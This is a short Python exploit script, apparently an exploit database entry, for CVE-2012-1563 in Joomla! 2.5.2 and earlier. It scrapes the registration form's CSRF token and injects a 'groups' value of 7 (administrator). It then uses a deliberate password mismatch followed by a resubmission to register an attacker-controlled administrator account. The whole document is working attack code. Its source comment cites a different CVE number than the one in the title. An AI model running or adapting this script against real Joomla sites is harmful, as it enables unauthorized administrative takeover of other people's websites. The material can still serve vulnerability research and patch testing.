Joomla! < 2.5.2 - Admin Creation
#!/usr/bin/python3 # CVE-2012-1563: Joomla! <= 2.5.2 Admin Creation # cf # Source: https://www.ambionics.io/blog/cve-2016-9838-joomla-account-takeover-and-remote-code-execution import bs4 import requests import random url = 'http://vmweb.lan/joomla-cms-2.5.2/' form_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form' action_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form?task=registration.register' username = 'user%d' % random.randrange(1000, 10000) email = username + '@yopmail.com' password = 'ActualRandomChimpanzee123' user_data = { 'name': username, 'username': username, 'password1': password, 'password2': password + 'XXXinvalid', 'email1': email, 'email2': email, 'groups][': '7' } session = requests.Session() # Grab original data from the form, including the CSRF token response = session.get(form_url) soup = bs4.BeautifulSoup(response.text, 'lxml') form = soup.find('form', id='member-registration') data = {e['name']: e['value'] for e in form.find_all('input')} # Build our modified data array user_data = {'%s]' % k: v for k, v in user_data.items()} data.update(user_data) # First request will get denied because the two passwords are mismatched response = session.post(action_url, data=data) # The second will work data['jform[password2]'] = data['jform[password1]'] del data['jform[groups][]'] response = session.post(action_url, data=data) print("Account created for user: %s [%s]" % (username, email)) |